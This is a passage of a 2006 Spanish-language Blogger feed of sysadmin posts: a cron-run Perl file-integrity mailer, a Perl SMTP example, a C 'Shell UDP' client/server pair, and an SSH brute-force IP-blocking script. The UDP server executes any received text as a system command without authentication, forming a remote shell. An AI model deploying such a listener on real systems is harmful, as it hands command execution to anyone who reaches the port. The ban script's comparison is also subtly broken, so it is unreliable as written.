&lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;#!/usr/bin/perl&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;use   Net::SMTP;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;$MSG = "Modificaciones en los ficheros del servidor:\n\n";&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;system   ("mv -f /var/log/.md5.1 /var/log/.md5.2");&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;system   ("/usr/local/bin/integridad.sh &gt; /var/log/.md5.1");&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;         &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;br /&gt;open CMD,   "diff /var/log/.md5.1 /var/log/.md5.2 |";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;while (&lt;cmd&gt;) { $MSG = $MSG . $_ }&lt;o:p&gt;&lt;/o:p&gt;&lt;/cmd&gt;&lt;/p&gt;         &lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;br /&gt;# Envio de un correo de Alerta&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp =   Net::SMTP-&gt;new('smtp.provider.com');&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;      &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;mail('infointegridad@empresa.es');&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;to('admin@empresa.es');&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;data();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;datasend("Subject: Servidor: Integridad de ficheros\n\n");&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;datasend($MSG);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;dataend();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;quit;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Guardaremos este escript tambien en /usr/local/bin/mail_md5.pl por ejemplo le daremos permisos de ejecución mediante:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;# chmod +x /usr/local/bin/mail_md5.pl &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ahora solamente tendremos que agregar esta linea al crontab mediante:&lt;br /&gt;&lt;br /&gt;crontab -e&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;00 08 * * * /usr/local/bin/mail_md5sum.pl&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Esto hará que cada dia a las 8 de la mañana recibamos un correo con las modificaciones realizadas en las carpetas indicadas en el primer script.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTA: Por supuesto si un hacker accede a nuestro sistema y averigua este sistema, podría  eliminar los ficheros de hash de &lt;span style="" lang="EN-GB"&gt; /var/log/.md5.x por lo que si se opta por un sistema de detección de intrusos serio, lo mejor es instalar Tripwire.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115167497450609723?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115167497450609723/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115167497450609723' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115167497450609723'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115167497450609723'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/hids-deteccin-de-intrusos-simple_30.html' title='HIDS :: Detección de intrusos simple'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115166723477196252</id><published>2006-06-30T13:27:00.002+02:00</published><updated>2008-02-20T22:09:21.099+01:00</updated><title type='text'>Desarrollo :: Envío de e-mails mediante Perl</title><content type='html'>Este sencillo script en Perl nos permite enviar un correo electrónico, también podemos especificar un servidor smtp.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;#!/usr/bin/perl&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;      &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;br /&gt;use   Net::SMTP;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;      &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;#Escribimos el cuerpo del mensaje&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;$MSG = "Correo de prueba!\n\n";&lt;/p&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;#Especificamos el servidor smtp&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp =   Net::SMTP-&gt;new('smtp.provider.com');&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;      &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;#Origen&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;mail('skarvin@gmail.com');&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;#Destino&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;to('antonio@gemeil.com');&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;data();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;datasend("Subject: Prueba Mail\n\n");&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;datasend($MSG);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;dataend();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;$smtp-&gt;quit;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115166723477196252?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115166723477196252/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115166723477196252' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115166723477196252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115166723477196252'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/linux-envo-de-e-mails-mediante-perl.html' title='Desarrollo :: Envío de e-mails mediante Perl'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115141416375449331</id><published>2006-06-27T15:14:00.000+02:00</published><updated>2006-07-14T22:22:34.490+02:00</updated><title type='text'>SOCKETS - Linux :: Shell UDP - Cliente</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;/******************************************************************************&lt;br /&gt;  * Módulo: Shell UDP - Cliente&lt;br /&gt;  ******************************************************************************/&lt;br /&gt; &lt;br /&gt;  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;  #include &amp;lt;errno.h&amp;gt;&lt;br /&gt;  #include &amp;lt;string.h&amp;gt;&lt;br /&gt;  #include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;  #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;  #include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;  #include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;  #define MAX_SIZE 255&lt;br /&gt;  #define MAX_BUFF 2048&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;  int main(int argc, char *argv[])&lt;br /&gt;  {&lt;br /&gt;  int sock; // Handler del socket&lt;br /&gt;  struct hostent *he; // Informacion de host&lt;br /&gt;  struct sockaddr_in h_addr,s_addr;&lt;br /&gt;  int addr_len;&lt;br /&gt;  int bytes; // Numero de bytes enviados&lt;br /&gt;  char msg[MAX_SIZE];&lt;br /&gt;  char resp[MAX_BUFF];&lt;br /&gt; &lt;br /&gt;  if (argc != 3)&lt;br /&gt;  {&lt;br /&gt;  fprintf(stderr, "usage: shell-udp-clnt address port\n");&lt;br /&gt;  exit (EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  printf ("Shell UDP - Cliente\n\n");&lt;br /&gt; &lt;br /&gt;  /* Obtenemos los datos de la maquina */&lt;br /&gt;  if ((he = gethostbyname(argv[1]))==NULL) {&lt;br /&gt;  herror("No se ha podido localizar el host!");&lt;br /&gt;  exit (EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;  printf ("Intentando conectar a: %s\n",&lt;br /&gt;  inet_ntoa(*(struct in_addr *)he-&amp;gt;h_addr));&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  /* Abrimos el socket */&lt;br /&gt;  if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1) {&lt;br /&gt; &lt;br /&gt;  perror( "No se ha podido crear el socket!\n");&lt;br /&gt;  exit (EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  memset(&amp;(h_addr.sin_zero), '\0', 8);&lt;br /&gt;  h_addr.sin_family = AF_INET;&lt;br /&gt;  h_addr.sin_port = htons(atoi(argv[2]));&lt;br /&gt; &lt;br /&gt;  /* Pasamos la IP de notacion de puntos y numeros a bytes */&lt;br /&gt;  if (inet_aton(argv[1], &amp;h_addr.sin_addr)==-1) {&lt;br /&gt; &lt;br /&gt;  fprintf(stderr, "inet_aton() Dirección IP %s inválida!\n",argv[1]);&lt;br /&gt;  exit(1);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  addr_len = sizeof(struct sockaddr);&lt;br /&gt; &lt;br /&gt;  while(1)&lt;br /&gt;  {&lt;br /&gt;  printf("shell-udp&amp;gt;");&lt;br /&gt;  fgets(msg,MAX_SIZE,stdin);&lt;br /&gt; &lt;br /&gt;  if ((bytes=sendto(sock, msg, strlen(msg), 0,&lt;br /&gt;  (struct sockaddr *)&amp;h_addr, addr_len))==-1)&lt;br /&gt;  {&lt;br /&gt;  perror("No se ha podido enviar el mensaje!");&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  if (bytes=recvfrom(sock,resp,MAX_BUFF-1,0,&lt;br /&gt;  (struct sockaddr *)&amp;s_addr,&amp;amp;addr_len))&lt;br /&gt;  {&lt;br /&gt;  resp[bytes]='\0';&lt;br /&gt;  printf("Response: %s\n",resp);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  fflush(stdin);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  close(sock);&lt;br /&gt;  return 0;&lt;br /&gt;  }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115141416375449331?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115141416375449331/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115141416375449331' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115141416375449331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115141416375449331'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/sockets-linux-shell-udp-cliente.html' title='SOCKETS - Linux :: Shell UDP - Cliente'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115141407795673600</id><published>2006-06-27T15:13:00.000+02:00</published><updated>2006-07-14T22:24:33.280+02:00</updated><title type='text'>SOCKETS - Linux :: Shell UDP - Servidor</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal"&gt;/*****************************************************************************&lt;br /&gt;  * Módulo: Shell UDP - Servidor&lt;br /&gt;  *****************************************************************************/&lt;br /&gt; &lt;br /&gt;  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;  #include &amp;lt;errno.h&amp;gt;&lt;br /&gt;  #include &amp;lt;string.h&amp;gt;&lt;br /&gt;  #include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;  #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;  #include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;  #include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;  #define MSG_LEN 2048&lt;br /&gt; &lt;br /&gt;  int main(int argc, char *argv[])&lt;br /&gt;  {&lt;br /&gt;  int sock; // handler del socket&lt;br /&gt;  struct sockaddr_in h_addr; // ip servidor&lt;br /&gt;  struct sockaddr_in c_addr; // ip cliente&lt;br /&gt;  int bytes; // numero de bytes enviados&lt;br /&gt;  char msg[MSG_LEN];&lt;br /&gt;  int size_addr;&lt;br /&gt;  char rsp2[MSG_LEN];&lt;br /&gt;  FILE *pipe_cmd;&lt;br /&gt; &lt;br /&gt;  if (argc != 2)&lt;br /&gt;  {&lt;br /&gt;  fprintf(stderr, "usage: shell-udp-srv port\n");&lt;br /&gt;  exit (EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  printf ("Servidor UDP escuchando en el puerto %s\n\n",argv[1]);&lt;br /&gt; &lt;br /&gt;  if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)&lt;br /&gt;  {&lt;br /&gt;  perror( "\nNo se ha podido crear el socket!\n");&lt;br /&gt;  exit (EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  h_addr.sin_family = AF_INET;&lt;br /&gt;  h_addr.sin_port = htons(atoi(argv[1]));&lt;br /&gt;  h_addr.sin_addr.s_addr=INADDR_ANY; // Nuestra ip&lt;br /&gt;  memset(&amp;(h_addr.sin_zero), '\0', 8);&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;  if(bind(sock,(struct sockaddr *)&amp;h_addr,sizeof(struct sockaddr))==-1) {&lt;br /&gt; &lt;br /&gt;  perror("\nError asociando el puerto!\n");&lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  size_addr= sizeof(struct sockaddr);&lt;br /&gt; &lt;br /&gt;  while(1){&lt;br /&gt; &lt;br /&gt;  memset (msg,'\0',MSG_LEN);&lt;br /&gt;  memset (rsp2,'\0',MSG_LEN);&lt;br /&gt; &lt;br /&gt;  if ((bytes=recvfrom(sock,msg,MSG_LEN-1,0,&lt;br /&gt;  (struct sockaddr *)&amp;c_addr,&amp;amp;size_addr))==-1) {&lt;br /&gt; &lt;br /&gt;  perror("\nError recibiendo el mensaje!\n");&lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  /* Ejecutamos el comando en el sistema */&lt;br /&gt;  if ((pipe_cmd=popen(msg,"r"))&amp;lt;0) {&lt;br /&gt; &lt;br /&gt;  printf("Error abriendo pipe");&lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  /* Leemos del pipe la respuesta del sistema y la almacenamos en rsp2 */&lt;br /&gt;  if ((fread(rsp2,MSG_LEN,1,pipe_cmd))&amp;lt;0) {&lt;br /&gt; &lt;br /&gt;  perror("\nError leyendo el mensaje!\n");&lt;br /&gt;  exit(EXIT_FAILURE);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;  /* Enviamos rsp2 al cliente */&lt;br /&gt;  if ((bytes=sendto(sock, rsp2, strlen(rsp2), 0,&lt;br /&gt;  (struct sockaddr *)&amp;c_addr, sizeof(struct sockaddr)))==-1) {&lt;br /&gt; &lt;br /&gt;  perror("No se ha podido enviar el mensaje!");&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  fflush(pipe_cmd);&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  close(sock);&lt;br /&gt;  return 0;&lt;br /&gt; &lt;br /&gt;  }&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115141407795673600?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115141407795673600/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115141407795673600' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115141407795673600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115141407795673600'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/sockets-linux-shell-udp-servidor.html' title='SOCKETS - Linux :: Shell UDP - Servidor'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115126168056549665</id><published>2006-06-25T20:52:00.000+02:00</published><updated>2006-06-29T22:09:01.510+02:00</updated><title type='text'>Bloqueo de IP' s “Molestas”</title><content type='html'>&lt;p class="MsoNormal"&gt;Bloqueo de IP’s “Molestas”&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Este sencillo script está probado en CentOS 4.3 y agrega a /etc/hosts.deny todas aquellas IP’s que sobrepasen el límite de reintentos, intentando acceder mediante ssh con usuarios inexistentes o mediante ataques de diccionario. Las IP’s baneadas no pueden volver a conectar por ssh y reciben un “Connection Refused”. También se pueden especificar IP’s en la variable &lt;i style=""&gt;whitelist &lt;/i&gt;para evitar banear nuestras propias IP’s mediante &lt;i style=""&gt;ip&lt;/i&gt; &lt;i style=""&gt;spoofing.&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(230, 230, 230) none repeat scroll 0%; width: 356.4pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0" width="475"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 356.4pt;" valign="top" width="475"&gt;   &lt;p class="MsoNormal" style=""&gt;&lt;br /&gt;   &lt;!--[if !supportLineBreakNewLine]--&gt;&lt;br /&gt;   &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style=""&gt;&lt;span style="" lang="EN-GB"&gt;#!/bin/sh&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;br /&gt;  ########################################&lt;br /&gt;  # @version 0.1&lt;br /&gt;  # @author skarvin&lt;br /&gt;  # Script de bloqueo a SSH por intentos erroneos&lt;br /&gt;  ########################################&lt;br /&gt; &lt;br /&gt;  REINTENTOS=10&lt;br /&gt;  count=0&lt;br /&gt;  IP="0"&lt;br /&gt;  IP2="0"&lt;br /&gt;  whitelist="127.0.0.1,69.69.45.45";&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;  function block_ip (){&lt;br /&gt; &lt;br /&gt;  if echo $whitelist | grep -v $1 &gt; /dev/null; then&lt;br /&gt; &lt;br /&gt;  if cat /etc/hosts.deny | grep $1 &gt; /dev/null; then&lt;br /&gt;  echo "$1 ya está baneada"&lt;br /&gt;  else&lt;br /&gt;  echo Baneando: $1&lt;br /&gt;  echo "sshd: $1" &gt;&gt; /etc/hosts.deny&lt;br /&gt;  fi&lt;br /&gt;  fi&lt;br /&gt;  }&lt;br /&gt; &lt;br /&gt;  #INTENTOS DE ACCESO CON USUARIO &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;#EXISTENTE   Y PASSWORD INCORRECTO&lt;br /&gt;  for i in `cat /var/log/secure* | tr ' ' '#' | grep Failed | grep -v illegal`;   do&lt;br /&gt; &lt;br /&gt;  IP=`echo $i | cut -c 40-200 | cut -d "#" -f 6`;&lt;br /&gt; &lt;br /&gt;  if [ "$IP" = "$IP2" ]; then&lt;br /&gt;  let count++&lt;br /&gt; &lt;br /&gt;  if [ $count &gt; $REINTENTOS ]; then&lt;br /&gt;  block_ip $IP&lt;br /&gt;  count=0&lt;br /&gt;  fi&lt;br /&gt; &lt;br /&gt;  else&lt;br /&gt;  count=0&lt;br /&gt;  fi&lt;br /&gt; &lt;br /&gt;  IP2=`echo $i | cut -c 40-200 | cut -d "#" -f 6`;&lt;br /&gt; &lt;br /&gt;  done&lt;br /&gt; &lt;br /&gt;  #INTENTOS DE ACCESO MEDIANTE ATAQUES DE DICCIONARIO&lt;br /&gt;  for i in `cat /var/log/secure* | tr ' ' '#' | grep Failed | grep illegal`; do&lt;br /&gt; &lt;br /&gt;  IP=`echo $i | cut -c 40-200 | cut -d "#" -f 8`;&lt;br /&gt;  if [ "$IP" = "$IP2" ]; then&lt;br /&gt;  let count++&lt;br /&gt; &lt;br /&gt;  if [ $count &gt; $REINTENTOS ]; then&lt;br /&gt;  block_ip $IP&lt;br /&gt;  count=0&lt;br /&gt;  fi&lt;br /&gt; &lt;br /&gt;  else&lt;br /&gt;  count=0&lt;br /&gt;  fi&lt;br /&gt; &lt;br /&gt;  IP2=`echo $i | cut -c 40-200 | cut -d "#" -f 8`;&lt;br /&gt; &lt;br /&gt;  done&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;u1:p&gt;&lt;/u1:p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115126168056549665?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115126168056549665/comments/default' title='Enviar 